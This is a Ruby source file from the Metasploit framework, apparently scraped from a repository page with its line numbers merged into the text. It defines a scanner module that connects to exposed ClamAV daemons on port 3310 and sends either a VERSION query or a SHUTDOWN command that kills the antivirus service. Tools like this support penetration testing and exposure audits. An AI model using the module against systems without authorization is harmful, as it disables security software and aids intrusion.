Path: blob/master/modules/auxiliary/scanner/misc/clamav_control.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Scanner8def initialize(info = {})9super(10update_info(11info,12'Name' => 'ClamAV Remote Command Transmitter',13'Description' => %q{14In certain configurations, ClamAV will bind to all addresses and listen for commands.15This module sends properly-formatted commands to the ClamAV daemon if it is in such a16configuration.17},18'Author' => [19'Alejandro Hdeza', # DISCOVER20'bwatters-r7', # MODULE21'wvu' # GUIDANCE22],23'License' => MSF_LICENSE,24'References' => [25[ 'URL', 'https://twitter.com/nitr0usmx/status/740673507684679680/photo/1' ],26[ 'URL', 'https://github.com/vrtadmin/clamav-faq/raw/master/manual/clamdoc.pdf' ]27],28'DisclosureDate' => '2016-06-08',29'Actions' => [30[ 'VERSION', 'Description' => 'Get Version Information' ],31[ 'SHUTDOWN', 'Description' => 'Kills ClamAV Daemon' ]32],33'DefaultAction' => 'VERSION',34'Notes' => {35'Reliability' => UNKNOWN_RELIABILITY,36'Stability' => UNKNOWN_STABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38}39)40)41register_options(42[43Opt::RPORT(3310)44], self.class45)46end4748def run_host(_ip)49begin50connect51sock.put(action.name + "\n")52print_good(sock.get_once)53rescue EOFError54print_good('Successfully shut down ClamAV Service')55ensure56disconnect57end58end59end606162